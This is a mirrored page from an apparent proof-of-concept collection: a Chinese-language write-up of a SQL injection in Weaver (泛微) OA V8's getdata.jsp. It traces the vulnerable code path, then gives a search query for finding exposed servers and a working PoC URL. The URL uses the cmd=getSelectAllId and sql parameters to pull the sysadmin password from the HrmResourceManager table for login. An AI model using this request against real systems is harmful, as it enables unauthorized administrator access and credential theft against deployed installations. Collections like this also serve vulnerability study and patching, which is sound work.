mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
56 lines
1.5 KiB
Markdown
56 lines
1.5 KiB
Markdown
|
# 泛微OA V8 getdata.jsp SQL注入漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
泛微OA V8
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="泛微-协同办公OA"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
在getdata.jsp中，直接将request对象交给
|
|||
|
|
|
|||
|
|
**weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :**
|
|||
|
|
|
|||
|
|
方法处理
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
在getData方法中，判断请求里cmd参数是否为空，如果不为空，调用proc方法
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Proc方法4个参数，(“空字符串”,”cmd参数值”,request对象，serverContext对象)
|
|||
|
|
|
|||
|
|
在proc方法中，对cmd参数值进行判断，当cmd值等于getSelectAllId时，再从请求中获取sql和type两个参数值，并将参数传递进getSelectAllIds（sql,type）方法中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
根据以上代码流程，只要构造请求参数
|
|||
|
|
|
|||
|
|
?cmd= getSelectAllId&sql=select password as id from userinfo;
|
|||
|
|
|
|||
|
|
即可完成对数据库操控
|
|||
|
|
|
|||
|
|
POC
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
查询HrmResourceManager表中的password字段，页面中返回了数据库第一条记录的值（sysadmin用户的password）
|
|||
|
|
|
|||
|
|
解密后即可登录系统
|
|||
|
|
|
|||
|
|
|